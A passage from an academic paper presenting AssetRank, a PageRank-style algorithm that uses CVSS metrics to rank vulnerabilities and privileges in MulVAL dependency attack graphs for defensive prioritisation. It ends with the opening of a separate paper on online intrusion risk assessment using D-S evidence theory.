attributes of discovered security vulnerabilities among IT security professionals.
It represents not just a single numeric score, but a metric vector that describes
various aspects of a vulnerability such as its access vector, access complexity and
exploitability. The CVSS metric vector is included in the National Vulnerability
Database (NVD)2 for every vulnerability reported in the NVD. The metrics pro-
vide crucial baseline information for automated security analysis. However, the
metrics themselves can only give limited information without an understanding
of the global security interactions in an enterprise environment. For example,
further assume that the vulnerability on B is the same as the one on D. Since B
does not have access into the right subnet, its vulnerability is less critical than
the one on D. In the scenario just described, our algorithm gives first priority
to the vulnerability on D, followed by the vulnerability on B, and then C. This
prioritization is intuitive since D is easy to exploit and gives access to the right
subnet; B is easy to exploit and gives access to D; and since only proof-of-concept
code exists to exploit C, it warrants the lowest priority.

In summary, to determine the relative importance of security problems in
a network, both the dependency relationships in the attack graph and the at-
tributes of the security problems need to be considered. We present an approach
which automatically digests the dependency relations in an attack graph as well
as the baseline information of the vulnerability attributes to compute the rela-
tive importance of attacker assets (the graph vertices) as a numeric metric. The
metric gauges the importance of a privilege or vulnerability to an attacker (and
hence the defender). Our approach fuses attack graphs and baseline security
metrics such as CVSS, to make both of them more useful in security analysis.

2 AssetRank for Attack Graphs

Internet web pages are represented in a directed graph sometimes called a web
graph. The vertices of the graph are web pages and the arcs are URL links from
one page to another. Google’s PageRank algorithm [10] computes a page’s rank,
not based on its content, but on the link structures of the web graph. Pages
that are pointed to by many pages or by a few important pages have higher
ranks than pages that are pointed to by a few unimportant pages. In this paper,
we introduce AssetRank, a generalization of the PageRank algorithm, which
can handle the semantics of vertices and arcs of dependency attack graphs.
Our first contribution allows AssetRank to treat the AND and OR vertices in
a dependency attack graph correctly based on their logical meanings, whereas
PageRank is only applied to OR vertex graphs. The second contribution is a
generalization of PageRank’s single system-wide damping factor to a per-vertex
damping factor. This generalization allows AssetRank to accurately model the
1 http://www.first.org/cvss/
2 http://nvd.nist.gov/cvss.cfm

http://www.first.org/cvss/
http://nvd.nist.gov/cvss.cfm
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various likelihoods of an attacker’s ability to obtain privileges through means not
captured in the graph (out-of-band attacks). The third contribution is leveraging
publicly available vulnerability information (e.g. CVSS) through parameters in
AssetRank so that the importance of security problems is computed with respect
to vulnerability attributes such as attack complexity and exploit availability. The
fourth contribution is that our generalized ranking algorithm allows network
defenders to obtain personalized AssetRanks to reflect the importance of attack
assets with respect to the protection of specific critical network assets.

The AssetRank algorithm presented here could be applied to any graph whose
arcs represent some type of dependency relation between vertices. In fact, web
graphs are a special case of dependency graphs since a web page’s functionality
in part depends on the pages it links to.

A dependency attack graph G is represented as G = (V, A, f, g, h) where V
is a set of vertices; A is a set of arcs represented as (u, v), meaning that vertex
u depends on vertex v; f is a mapping of positive weights to vertices; g is a
mapping of non-negative weights to arcs; and h is a mapping of vertices to
their type (AND, OR, or SINK). The out-neighbourhood of a vertex v is defined
as N+(v) = {w ∈ V : (v, w) ∈ A}, and in-neighbourhood of v is defined as
N−(v) = {u ∈ V : (u, v) ∈ A}. The cardinality of a set X is denoted |X | and
its L1-norm is denoted ||X ||1. Without loss of generality, we require the vector
of all vertex weights f(V ) to sum to 1.

AssetRank is computed by solving for the principal eigenvector X in the
following equation.

λX = (D∆ + γPeT )X (1)

Where λ is the principal eigenvalue, X is the vector of AssetRanks (scaled to sum
to 1), D is the transpose of the square adjacency matrix of a dependency attack
graph G (an AND/OR directed graph), ∆ is a diagonal matrix of vertex-specific
arc-weight damping factors where each value is in the range [0, 1], γ ∈ (0, 1] is the
vertex-weight damping factor, P = f(V ) is a personalization vector composed
of the vertices’ personalization values (that is, the vertex weights), and e is the
all-ones vector.

Equation (1) reduces to the original PageRank if λ = 1, ∆ = δI (where I
is the identity matrix and δ is PageRank’s damping factor), γ = 1 − δ, and all
vertices are required to be OR vertices.

2.1 AND Vertices

Dependency attack graphs contain both AND and OR vertices. An OR vertex
can be satisfied by any of its out-neighbours, whereas an AND vertex depends
on all of its out-neighbours. For example, the simple dependency attack graph in
Figure 2(a) shows that attackers attaining the goal p1 depend upon their ability
to obtain both privileges p2 and p3. p2 is an AND vertex3 and it requires the
3 In our figures, AND vertices are represented by ovals, OR vertices are represented

by diamonds, and SINK vertices are represented by rectangles.
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p1

p2 p3

vul1 vul2 vul3 vul4

(a)

Vertex AssetRank

p1 0.1722
p2 0.1680
p3 0.1680
vul1 0.1639
vul2 0.1639
vul3 0.0820
vul4 0.0820

(b)

Fig. 2. AssetRank computation for an AND/OR graph

two vulnerabilities vul1 and vul2. p3 is an OR vertex and it requires only one of
either vul3 or vul4. In this example we assume all the arcs have the same weight.

Since any of an OR vertex’s out-neighbours can enable it, the importance of
each out-neighbour decreases as the number of out-neighbours increases since
the vertex can be satisfied by any one of them. This reduced dependency is
not true of AND vertices. Since all the out-neighbours of an AND vertex are
necessary to enable it, it is intuitively incorrect to lessen the amount of value
flowed to each out-neighbour as their numbers grow.

Rather than splitting the value of an AND vertex we replicate it to its out-
neighbours. Each out-neighbour of an AND vertex receives the full value from
the vertex multiplied by the vertex’s damping factor. That is, for every outgoing
edge (u, v) from an AND vertex u, the corresponding matrix entry Dvu

4 is 1.
We now have the following restrictions on the graph’s arc weights.

∑
w∈N+(v)

g(v, w) =

⎧⎪⎨⎪⎩
|N+(v)|, if h(v) = AND
1, if h(v) = OR
0, if h(v) = SINK .

(2)

A unique principal eigenvector X in Equation (1) exists (up to scalar multi-
plication) and follows from Perron’s theorem (see, for example, [11]), and the
fact that D∆ + γPeT is positive. Thus, convergence using the power method is
guaranteed. The computation using the power method with the terms optimized
to take advantage of the sparsity of D∆ follows.

Step 1: X ′
t = D∆Xt−1 + γP ; Step 2: Xt =

1
||X ′

t||1
X ′

t (3)

Figure 2(b) displays the result of applying the above algorithm to the graph
in Figure 2(a). For this example, we use a single constant damping factor of
∆ = 0.85I and P is such that only the goal vertex p1 has a non-zero personal-
ization value.

4 As a shorthand notation we use u and v in Dvu to represent the column and row
indices corresponding to the respective vertices.
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AssetRank gives5 the expected relative importance for the four vulnerabilities:
vul1 and vul2 are twice as important as vul3 and vul4 since patching one of vul1
or vul2 has an equivalent effect in denying the goal p1 as patching both vul3
and vul4.

2.2 Vertex-Specific Damping

In the case of PageRank applied to web pages, the system-wide damping factor
δ gives the probability that surfers will stop surfing [12]. They could stop surfing
for any number of reasons including having found the desired information or
encountering a poor quality web page. The reality is that not all web pages have
an equal likelihood to be the end point of a user’s surfing. On some web pages
almost all of the surfers will continue surfing (for example, search results) while
on other pages, almost all of the surfers will stop surfing (for example, a local
weather page).

An analogous situation exists for attack graphs. An “attack planner” will
more likely stop traversing the attack graph if the vertex represents a privilege
that can be easily obtained “out-of-band”. For example, attackers requiring the
ability to execute code on a user desktop could use out-of-band methods such
as social engineering rather than purely technical exploits.6

In general, the damping factor measures the likelihood that an attack planner
will continue traversing the graph. We improve the accuracy of the ranks by
not assuming that the planners are equally likely to stop traversing the graph
regardless of the vertex they are visiting. Rather than using a single damping
factor, we introduce vertex-specific damping factors δv and assemble them into
the diagonal damping matrix ∆ = diag(δ1, δ2, . . . , δ|V |).

2.3 Personalization Vector

It is insufficient to consider only the dependency relations and damping factors
in determining a vertex’s value. Network defenders place a higher priority on de-
fending critical servers than non-critical PCs. Similarly, some machines are more
valuable than others to attackers. We use vertex weights as a personalization
value to represent a vertex’s inherent value to network attackers or defenders.
Network defenders may identify the assets they desire to deny the attacker by
assigning them a personalization value that reflects their importance to the de-
fender’s operations. The remaining attack assets are assigned a value of 0 which
then causes the computed AssetRank values to reflect their importance only in
so far as they are likely to be used by an attacker to obtain the attack assets
identified as critical.
5 All of the experiments in this paper required a computation time of less than one

second on a typical desktop PC and converged in 78 iterations or less. The complexity
of the power method depends upon the complexity of matrix multiplication and
the number of iterations required. The complexity of naive matrix multiplication is
O(n3). Speed improvements for PageRank computation can also speed up AssetRank
computation as long as they do not require the principal eigenvalue to be 1.

6 The attack graphs we use in this paper include only technical exploits.
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3 Parameter Assignment

Attack graph dependencies and attack asset attribute information (such as CVSS
metrics obtained from the NVD database) supply the three key components D,
∆, and P of the AssetRank matrix A = D∆ + γPeT . In this section we explain
how to obtain and set these values. In Section 4 we will demonstrate their effect
on the asset ranks. The parameter γ sets the influence of the personalization
vector which has the effect of opting to favour attack assets closer to the goal
versus favouring attack assets closer to the attacker.

3.1 Dependency Matrix (D)

To model attacker preferences we assign a success likelihood s(v) to every vertex.
The success likelihood has a slightly different meaning for the three types of
vertices: AND, OR, and SINK.

The SINK vertices represent the ground facts that MulVAL uses when deriving
attack paths. The ground facts include the existence of vulnerable software,
network routes and the services running on each machine. Every ground fact is
assigned a success likelihood. To simplify the demonstration in this paper we
assign the success likelihood 1 to all non-vulnerability SINK vertices. That is,
we assume that if a service exists, it is always up, and that network paths are
stable.7

CVSS is a standard for specifying vulnerability attributes. Two attributes
that are particularly useful in prioritizing attack assets are the base metric of
Access Complexity (AC) and the temporal metric of Exploitability (E). For
the AC metric, vulnerabilities are assigned a value of high, medium, or low, to
indicate the existence of specialized access conditions such as a race condition or
configuration setting. When considering the E metric, vulnerabilities are assigned
a value of unproven, proof-of-concept, functional, or high, to indicate the current
state of exploit maturity. If one attack path in the attack graph depends upon an
unproven vulnerability and another attack path depends upon a vulnerability
with functional exploit code, the attack assets in the latter attack path (all
vulnerabilities and network routes) are more likely to be involved in an attack
and so they are more valuable to attackers. Consequently, they also deserve a
higher degree of attention by network defenders. In our experiments we assign the
following success likelihoods s(v) to each vulnerability vertex v to indicate the
probability that an attacker will successfully exploit the vulnerability: Unproven
(1%), Proof-Of-Concept (40%), Functional (80%), High (99%).

MulVAL attack graphs also contain rule vertices. These are AND vertices
that specify how a privilege may be obtained. The parameter s(v) for AND
vertices models the preference of attackers for different attack strategies. For
example, two of the rules describe how network access may be obtained. In the

7 Users could assume mobile devices are present intermittently and hence assign a
success likelihood to network routes for mobile devices that represent the likelihood
that the device will be connected to the network.



Identifying Critical Attack Assets in Dependency Attack Graphs 25

first case, direct network access to a host is obtained if an attacker has a machine
and a network route exists from that machine to the intended host. In the second
case, multi-hop network access to a host is obtained if an attacker can execute
code of his choosing on a victim machine and a network route exists from that
machine to the intended host. Since an attack is complicated by multi-hop access,
we assume that the attacker prefers direct routes so we assign a preference score
of 1.0 to the direct route and 0.5 to the indirect route. In a similar manner, other
rules may be assigned a preference score indicating attackers’ preferences. These
rule preferences would be set by experts to model different types of attackers
(for example, script kiddies or black-hat criminals).

Finally, MulVAL attack graphs contain derived attack assets.For example,
MulVAL-generated attack graphs include execCode(machine,account) vertices
stating that an attacker could obtain the ability to execute arbitrary code on
machine at the privilege of account. However, the execCode attack asset might
be obtained through a choice of multiple routes in the attack graph. These
multiple routes are represented by multiple outgoing arcs from the execCode
vertex, an OR vertex. Not all of these routes are equally difficult to obtain and
we make the assumption that attackers prefer easier methods of obtaining the
derived attack asset. For example, attackers would favour routes that may be
exploited with reliable tools.

The OR vertices discussed at the beginning of this section.
Attack paths will contain several ground facts (SINK vertices), rules (AND

vertices), and derived attack assets (OR vertices). Weights of the out-going arcs
are computed by percolating the success likelihoods throughout the graph by
setting g(u, v) = m(v) where

m(v) =

⎧⎪⎪⎪⎪⎨⎪⎪⎪⎪⎩
s(v), if h(v) = SINK
s(v)

∏
w∈N+(v)

m(w), if h(v) = AND

max
w∈N+(v)

m(w), if h(v) = OR

(4)

In words, the arc weight from vertex u to v is the success likelihood of v if v
is a SINK vertex, the attacker’s preference for the attack type multiplied by
the product of all of the paths required for v if v is an AND vertex, and the
easiest path from v if v is an OR vertex. Finally, the arc weights are normalized
according to Equation (2).

3.2 Damping Matrix (∆)

In Section 2.2 we introduced vertex-specific damping factors. This extension
allows the modeling of out-of-band attacks for derived attack assets (OR ver-
tices). For example, the ability to execute code on a victim’s machine can
be gained by obtaining the victim’s login credentials through social engineer-
ing — a non-technical attack that is not captured in the attack graph. If at-
tackers gain the attack asset v by means outside the graph, they will not re-
quire the dependencies of v captured in the attack graph so those dependencies
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are less valuable to the attacker and so deserve less attention from network
defenders.

For MulVAL attack graphs, specifying a damping factor is only sensible for
OR vertices (derived attack assets). The damping factor has no effect on SINK
vertices because they have no out-going arcs. Also, AND vertices are fundamen-
tally required in the attack graph and cannot be obtained out-of-band so the
damping factor for AND vertices is set to 1 (no damping).

The success likelihood of obtaining a derived asset out-of-band for an OR
vertex v is denoted s(v). An example of an out-of-band attack is an attacker
obtaining a user’s login credentials through social engineering. The success like-
lihood depends upon the level of awareness and training of the user. A network
defender can specify the success likelihood based upon the type of user account.
For example, root users could be assigned a low likelihood score such as 20%
while standard users could be assigned a score of 80%. Security experts will be
relied upon to provide metrics for out-of-band attacks.

The degree to which attackers will use out-of-band attacks depends upon
both the projected success of the out-of-band attack and the difficulty of ob-
taining the attack asset by using the means specified in the attack graph. If
the attack asset may be obtained with certainty using the attack graph then
the attacker will use those means. Also, if out-of-band attacks are impossible
or are certain to fail, the attacker will not exit the graph to attempt the out-
of-band means but will use the means in the attack graph to obtain the priv-
ilege. The following equation captures these requirements. For an OR vertex
v with an out-of-band success likelihood s(v), the damping factor δv is given
by

δv = (1 − s(v)) + s(v)m(v) . (5)

The damping matrix is a diagonal matrix constructed from the vertex-specific
damping factors by setting ∆ = diag(δ1, δ2, . . . , δ|V |).

3.3 Personalization Vector (P )

The personalization vector P represents the network defender’s desire to deny
an attack asset to attackers. If a defender is only interested in denying a single
goal vertex g then its personalization value f(g) is set to 1 and all other vertices
are set to 0.8 If the defender desires to deny several vertices (for example, the
execCode privilege on all servers) then the values will be set for the vertices
in a manner that represents the defenders (conversely, the attackers) interest in
those vertices. It is expected that the defender will set the personalization values
based upon the organization’s operational priorities.

8 Technically, the non-goal vertices are set to an arbitrarily small ε > 0 and the goal
is set to 1 − (|V | − 1)ε. This ensures that the AssetRank matrix A = D∆ + γPeT is
positive, a condition that guarantees the existence of a unique positive eigenvector
according to Perron’s theorem.
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4 Experiments

In this section we present several experiments we conducted to study 1) Asset-
Rank’s efficacy in giving results consistent with the importance of an attack
asset to a potential attacker; and 2) how the AssetRank metric may be used to
better understand security threats conveyed in a dependency attack graph, as
well as in choosing appropriate mitigation measures.

In our experiments, we use the MulVAL attack-graph tool suite to compute
a dependency attack graph based upon a network description and a user query.
For example, a user may ask if attackers can execute code of their choosing
on any server. The attack graph is exported to a custom Python module. The
Python module normalizes the input data, computes the AssetRank values, and
visualizes the attack graph using the graph visualization software Graphviz [13].

4.1 Experiment 1

The first experiment demonstrates the effect of arc weights and vertex-specific
damping factors on a small network. Figure 3 shows the network for experiments
1a and 1b. The attacker has access to both PC1 and PC2. User1 is on PC1 which
has vulnerability Vul1 and User2 is on PC2 which has vulnerability Vul2. PC1
and PC2 have access to the goal machine but not to each other.

In experiment 1a we assume that Vul1 has functional exploit tools available
and Vul2 has only proof-of-concept code available. Hence, we assign success
likelihood metrics of 0.8 and 0.4, respectively. A uniform damping factor of 0.99
is applied to all vertices. We expect that Vul1 will have a higher rank metric
than Vul2 since the attacker is more likely to prefer it. Figure 4 shows the attack
graph coloured according to the assets’ AssetRank values. The vertex colours
range from blue to red with blue indicating vertices with relatively lower ranks
and red indicating vertices with higher ranks. Our algorithm computes a value
of 0.0579 for Vul1 and a value of 0.0289 for Vul2 which is consistent with the
higher value that Vul1 has to the attacker.

In experiment 1b we assign both Vul1 and Vul2 a success likelihood of 1.0.
However, we assume that it is 80% likely that PC1 will be compromised by ways

Fig. 3. Scenario for experiments 1a and 1b
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1: execCode(goal,serviceaccount)
Rank: 0.01373

Damp: 0.99  Likelihood: 1.0

2: RULE 2 (remote exploit of a server program)
Rank: 0.01867

Damp: 0.99  Likelihood: 1.0

0.8

3: netAccess(goal,tcp,80)
Rank: 0.02539

Damp: 0.99  Likelihood: 1.0

1.0

24: networkServiceInfo(goal,service,tcp,80,serviceaccount)
Rank: 0.02539

Damp: 0.99  Likelihood: 1.0

1.0

25: vulExists(goal,vul3,service,remoteExploit,privEscalation)
Rank: 0.02539

Damp: 0.99  Likelihood: 1.0

1.0

4: RULE 5 (multi-hop access)
Rank: 0.02302

Damp: 0.99  Likelihood: 0.5

0.8

14: RULE 5 (multi-hop access)
Rank: 0.01151

Damp: 0.99  Likelihood: 0.5

0.4

5: hacl(pc1,goal,tcp,80)
Rank: 0.03129

Damp: 0.99  Likelihood: 1.0

1.0

6: execCode(pc1,serviceaccount)
Rank: 0.03129

Damp: 0.99  Likelihood: 1.0

1.0

7: RULE 2 (remote exploit of a server program)
Rank: 0.04255

Damp: 0.99  Likelihood: 1.0

0.8

8: netAccess(pc1,tcp,80)
Rank: 0.05785

Damp: 0.99  Likelihood: 1.0

1.0

12: networkServiceInfo(pc1,service,tcp,80,serviceaccount)
Rank: 0.05785

Damp: 0.99  Likelihood: 1.0

1.0

13: vulExists(pc1,vul1,service,remoteExploit,privEscalation)
Rank: 0.05785

Damp: 0.99  Likelihood: 0.8

1.0

9: RULE 6 (direct network access)
Rank: 0.07866

Damp: 0.99  Likelihood: 1.0

1.0

10: hacl(a,pc1,tcp,80)
Rank: 0.10695

Damp: 0.99  Likelihood: 1.0

1.0

21: attackerLocated(a)
Rank: 0.16043

Damp: 0.99  Likelihood: 1.0

1.0

15: hacl(pc2,goal,tcp,80)
Rank: 0.01565

Damp: 0.99  Likelihood: 1.0

1.0

16: execCode(pc2,serviceaccount)
Rank: 0.01565

Damp: 0.99  Likelihood: 1.0

1.0

17: RULE 2 (remote exploit of a server program)
Rank: 0.02127

Damp: 0.99  Likelihood: 1.0

0.4

18: netAccess(pc2,tcp,80)
Rank: 0.02893

Damp: 0.99  Likelihood: 1.0

1.0

22: networkServiceInfo(pc2,service,tcp,80,serviceaccount)
Rank: 0.02893

Damp: 0.99  Likelihood: 1.0

1.0

23: vulExists(pc2,vul2,service,remoteExploit,privEscalation)
Rank: 0.02893

Damp: 0.99  Likelihood: 0.4

1.0

19: RULE 6 (direct network access)
Rank: 0.03933

Damp: 0.99  Likelihood: 1.0

1.0

1.0

20: hacl(a,pc2,tcp,80)
Rank: 0.05348

Damp: 0.99  Likelihood: 1.0

1.0

Fig. 4. Attack graph for the Experiment 1a scenario

not shown by the attack graph (for example, obtaining User1’s log-in credentials
through social-engineering), and PC2 is 40% likely to be compromised in such
ways. Perhaps User2 has received more training and so is more security-vigilant
than User1. We expect that Vul1 will be ranked lower than Vul2 since the at-
tacker has a lower dependence upon it. Due to space constraints, we are not able
to show the attack graph but Vul2 has an AssetRank of 0.0414 and Vul1 has an
AssetRank of 0.0310. This ranking is intuitively correct since attackers have a
greater chance of obtaining PC1 without exploiting its vulnerability, so Vul1 is
less important to them.

4.2 Experiment 2

We now demonstrate the results of applying AssetRank to the attack graph for
the example network in Figure 1. In the first scenario, we assume all the vul-
nerabilities have the same exploitability difficulty level, represented by identical
success likelihood metrics.

The attack graph is not shown due to space constraints but a portion of the
resulting ranking is shown in Table 1(a).9 The ranking is consistent with the
intuitive importance of the various attacker assets. Namely, vulnerabilities on

9 InMulVAL,a tuplevulExists(Host,VulID,Account,AccessVector,Consequence)
means “machine Host has the vulnerability VulID in software running as Account that
is exploitable via AccessVector with the result Consequence.” A tuple hacl(H1, H2,
Protocol, Port) means “machine H1 can reach machine H2 through Protocol and
Port.”
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Table 1. AssetRanks for Experiment 2

(a) Experiment 2a

Attack Asset Rank

vulExists(c,vulid2, . . . ) 0.0323
vulExists(d,vulid1, . . . ) 0.0323
vulExists(e,vulid4, . . . ) 0.0274
vulExists(f,vulid5, . . . ) 0.0219
vulExists(b,vulid1, . . . ) 0.0174
hacl(e,f,tcp,80) 0.0267
hacl(a,d,tcp,80) 0.0240
hacl(a,c,tcp,80) 0.0240
hacl(d,e,tcp,80) 0.0167
hacl(c,e,tcp,80) 0.0167
hacl(a,b,tcp,80) 0.0129

(b) Experiment 2b

Attack Asset Rank

vulExists(d,vulid1, . . . ) 0.0453
vulExists(e,vulid4, . . . ) 0.0303
vulExists(f,vulid5, . . . ) 0.0229
vulExists(b,vulid1, . . . ) 0.0188
vulExists(c,vulid2, . . . ) 0.0127
hacl(a,d,tcp,80) 0.0406
hacl(d,e,tcp,80) 0.0304
hacl(e,f,tcp,80) 0.0287
hacl(a,b,tcp,80) 0.0168
hacl(a,c,tcp,80) 0.0097
hacl(c,e,tcp,80) 0.0076

C and D are more important than the one on B, since these two machines are
stepping stones into the right subnet. Likewise, the attacker’s reachability to C
and D is ranked higher than that to B.

Now suppose the vulnerability vulid2 on machine C is very difficult to exploit,
and the other vulnerabilities are easy to exploit. We therefore assign the metric
0.2 to vulid2 and the other vulnerabilities a metric of 0.8. The result of the new
configuration is given in Table 1(b).

What is remarkable in the new ranking is that the vulnerability on machine
C is ranked much lower than before, since it is hard to exploit. Now machine
D becomes much more valuable to the attacker since it is likely to be the only
feasible stepping stone into the right subnet, which is manifested by the boosted
values on both the vulnerabilities and reachability relations involving D. Note
that the vulnerability on machine B is the same as the one on machine D. But
since B cannot directly help the attacker penetrate deeper into the network, its
vulnerability’s rank is lower than that of D.

4.3 Experiment 3

To study how AssetRank works in a more complicated realistic setting, we tested
it on a network scenario adapted from a real control-system network, shown in
Figure 5. In this network, an enterprise network is protected by a firewall from
the Internet. Only machines in the DMZ subnet can be directly accessed from
the Internet zone. The machines in the CORP internal subnet can freely access
the Internet. Only one machine in the network, the Citrix server, can access
the control-system subnet (the Energy Management System, or EMS) which
is protected by another firewall, and it may only access the Data Historian.
Assuming the attacker is on the Internet and wants to obtain privileges on the
Communications Servers in the EMS subnet, there are two obvious entry ways
for him: the web server and the VPN server, both of which can be directly
accessed from the Internet.
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Fig. 5. A realistic network scenario for Experiment 3

We introduced hypothetical vulnerabilities into this scenario and assigned
metrics for them based on our understanding of typical security problems in this
type of network.10 Due to space constraints we cannot show the attack graph;
however, the ranking identifies the two most critical vulnerabilities in the net-
work. One is a remote buffer overflow vulnerability on the web server, which
would allow a remote attacker to gain code execution privilege in the DMZ sub-
net. The other is a browser vulnerability on the user workstation. Since outbound
traffic from the CORP Internal zone is not restricted, an unsuspecting user may
browse to a malicious website and compromise his machine. This compromise
will yield privileges on the internal network to the attacker. There are many
other vulnerabilities in the network and there are other ways to penetrate into
the system (for example, through the VPN server). But the two critical problems
identified by the AssetRank algorithm are consistent with a human’s conclusion
after spending an extensive amount of time studying the information revealed
by the complicated 129 vertex attack graph with 185 dependencies.

5 Related Work

Attack graphs have been proposed and studied extensively to analyze the secu-
rity of enterprise networks. There are basically two types of attack graphs. In the

10 In real applications, this information will automatically be furnished by data collec-
tion agents installed on the machines and the CVSS metrics provided by the NVD.
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first type, each vertex represents the entire network state and the arcs represent
state transitions caused by an attacker’s actions. Examples are Sheyner’s scenario
graph based on model checking [14], and the attack graph in Swiler and Phillips’
work [15]. This type of attack graph is sometimes called a state enumeration attack
graph [7]. In the second type of attack graph, a vertex does not represent the entire
state of a system but rather a system condition in some form of logical sentence.
The arcs in these graphs represent the causality relations between the system con-
ditions. We call this type of attack graph a dependency attack graph. Examples are
the graph structure used by Ammann et al. [1], the exploit dependency graphs de-
fined by Noel et al. [3,7], the MulVAL logical attack graph by Ou et al. [4], and the
multiple-prerequisite graphs by Ingols et al. [2]. The work in this paper applies the
extended PageRank algorithm, AssetRank, to distill and prioritize the informa-
tion presented in a dependency attack graph.

Mehta et al. apply the PageRank algorithm to state enumeration attack
graphs [16]. Aside from the generalizations of PageRank presented in this paper,
the key difference from their work is that AssetRank is applied to dependency at-
tack graphs which have very different semantics from the state enumeration attack
graphs generated by a model checker. First, a vertex in a dependency attack graph
describes a privilege attackers use or a vulnerability they exploit to accomplish
an attack. Hence, ranking a vertex in a dependency attack graph directly gives a
metric for the privilege or vulnerability. Ranking a vertex in a state enumeration
attack graph does not provide this semantics since a vertex represents the state of
the entire system including all configuration settings and attacker privileges. Sec-
ond, the source vertices of our attack graphs are the attackers’ goals as opposed
to the source vertex being the network initial state, as is the case in the work of
Mehta et al. Since our source vertices are the attackers’ goals, value flows from
them and the computed rank of each vertex is in terms of how much attackers
need the attack asset to achieve their goals. Thus our rank is a direct indicator
of the main attack enablers and where security hardening should be performed.
The rank computed in Mehta et al.’s work represents the probability a random
attacker (similar to the random walker in the PageRank model) is in a specific
state, in particular, a state where he has achieved his goal. But the probability a
random attacker is in the goal state may decrease as the number of attack paths
increases — simply because there are more states to split the distribution. As a
result, contrary to what was proposed in their paper, this rank cannot serve as a
metric for the system’s overall vulnerability.

Recent years have seen a number of efforts that apply numeric security metrics
to attack graphs. For example, Wang et al. studied how to combine individual
security metrics to compute an overall security metric using attack graphs [17].
Dewri et al. proposed configuration optimization methods that are based on
attack graphs, numeric cost functions, and genetic algorithms [18]. The goal of
our work is different. We aim to use standardized security metrics and a unified
algorithmic framework to rank and prioritize the security problems revealed by
an attack graph.
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There have been various forms of attack graph analysis proposed in the past.
The ranking scheme described in this paper is complementary to those works
and could be used in combination with existing approaches. One of the factors
that has been deemed useful for attack graphs is finding a minimal set of critical
configuration settings that enable potential attacks since these could serve as a
hint on how to eliminate the attacks. Approaches to find the minimal set have
been proposed for both dependency attack graphs [3] and state-enumeration
attack graphs [6,19]. Business needs usually do not permit the elimination of
all security risks so the AssetRank values could be used alongside minimal-
cut algorithms to selectively eliminate risk. In the experiment in Section 4.2,
the highest ranked vertices (compromise/vulnerability on host C and D) hap-
pen to be a minimal set that will cut the attack graph in two parts. Asset-
Rank can incorporate standardized security metrics such as CVSS, and com-
pute the relative importance of each attack asset based on both the metrics
and the attack graph. A binary result from the minimal-cut algorithm does
not provide this capability, which we believe is important in realistic security
management.

It has been recognized that the complexity of attack graphs often prevents
them from being useful in practice and methodologies have been proposed to
better visualize them [7,8,9,20]. The ranks computed by our algorithm could
be used in combination with the techniques in those works to help further the
visualization process, for example by coloring the visualization based on the
computed ranks.

6 Conclusion

In this paper we proposed the AssetRank algorithm, a generalization of the
PageRank algorithm, that can be applied to rank the importance of a vertex in
a dependency attack graph. The model adds the ability to reason on heteroge-
neous graphs containing both AND and OR vertices. It also adds the ability to
model various types of attackers. We have shown how to incorporate vulnera-
bility attribute information into the arc weights. Similarly, users could compute
attack asset ranks derived from metrics regarding attack noisiness, attack path
length, or resource utilization. We have also shown how to model the existence of
out-of-band attacks into vertex-specific damping weights. We incorporated per-
sonalization values to allow network defenders to specify the assets they most
desire to deny attackers and thus obtain a personalized attack asset ranking
based upon their operational priorities.

The numeric value computed by AssetRank is a direct indicator of how im-
portant the attack asset represented by a vertex is to a potential attacker. The
algorithm was empirically verified through numerous experiments conducted on
several example networks. The rank metric will be valuable to users of attack
graphs in better understanding the security risks, in fusing publicly available at-
tack asset attribute data, in determining appropriate mitigation measures, and
as input to further attack graph analysis tools.
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Appendix

A Full Attack Graph for Example in Fig. 1.

1:execCode(f,serviceaccount)

2:RULE 3 (remote exploit of a server program)

51:networkServiceInfo(f,service,tcp,80,serviceaccount) 52:vulExists(f,vulid,service,remoteExploit,privEscalation) 3:netAccess(f,tcp,80)

4:RULE 6 (multi-hop access)

5:hacl(e,f,tcp,80) 6:execCode(e,serviceaccount)

7:RULE 3 (remote exploit of a server program)

49:networkServiceInfo(e,service,tcp,80,serviceaccount) 50:vulExists(e,vulid,service,remoteExploit,privEscalation) 8:netAccess(e,tcp,80)

9:RULE 6 (multi-hop access) 47:RULE 6 (multi-hop access)

10:hacl(c,e,tcp,80) 11:execCode(c,serviceaccount)

12:RULE 3 (remote exploit of a server program)

13:netAccess(c,tcp,80) 45:networkServiceInfo(c,service,tcp,80,serviceaccount)46:vulExists(c,vulid,service,remoteExploit,privEscalation)

14:RULE 6 (multi-hop access) 40:RULE 6 (multi-hop access)42:RULE 7 (direct network access)

15:hacl(b,c,tcp,80)16:execCode(b,serviceaccount)

17:RULE 3 (remote exploit of a server program)

18:netAccess(b,tcp,80) 38:networkServiceInfo(b,service,tcp,80,serviceaccount)39:vulExists(b,vulid,service,remoteExploit,privEscalation)

19:RULE 6 (multi-hop access) 21:RULE 6 (multi-hop access)35:RULE 7 (direct network access)

20:hacl(c,b,tcp,80) 22:hacl(d,b,tcp,80) 23:execCode(d,serviceaccount)

24:RULE 3 (remote exploit of a server program)

25:netAccess(d,tcp,80) 33:networkServiceInfo(d,service,tcp,80,serviceaccount) 34:vulExists(d,vulid,service,remoteExploit,privEscalation)

26:RULE 6 (multi-hop access) 28:RULE 6 (multi-hop access)30:RULE 7 (direct network access)

27:hacl(b,d,tcp,80) 29:hacl(c,d,tcp,80)31:hacl(a,d,tcp,80)44:attackerLocated(a)

36:hacl(a,b,tcp,80)

41:hacl(d,c,tcp,80)43:hacl(a,c,tcp,80)

48:hacl(d,e,tcp,80)

Fig. 6. Attack graph for the network in Figure 1
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Abstract. In the paper, an online risk assessment model based on D-S
evidence theory is presented. The model can quantitate the risk caused
by an intrusion scenario in real time and provide an objective evaluation
of the target security state. The results of the online risk assessment
show a clear and concise picture of both the intrusion progress and the
target security state. The model makes full use of available information
from both IDS alerts and protected targets. As a result, it can deal with
uncertainties and subjectiveness very well in its evaluation process. In
IDAM&IRS, the model serves as the foundation for intrusion response
decision-making.

Keywords: Online Risk Assessment, Intrusion detection, Alert Process-
ing, Intrusion Response, D-S Evidence Theory.

1 Introduction

Intrusion detection systems (IDSs) are used to detect traces of malicious activity
targeted against networks and their resources. Although IDSs have been studied
and developed over 20 years, they are far from perfect and need improvement.
The primary weaknesses of present IDSs are as follows.

First, most current IDSs generate a great number of false positive alerts,
irrelevant alerts and duplicate alerts. Second, all the current IDSs focus on low-
level attacks or anomalies and usually generate isolated alerts; none of them can
capture the logical steps or strategies behind these attacks [1]. Finally, Current
IDS alerts provide only the information about intrusions, but lack comprehensive
parameters that take both attack factors and defence factors into account and
indicate the real threat of intrusions to the protected targets. Therefore,it is very
hard for an administrator or an automated intrusion response system (AIRS) to
make the right intrusion response decision based on these IDS alerts.
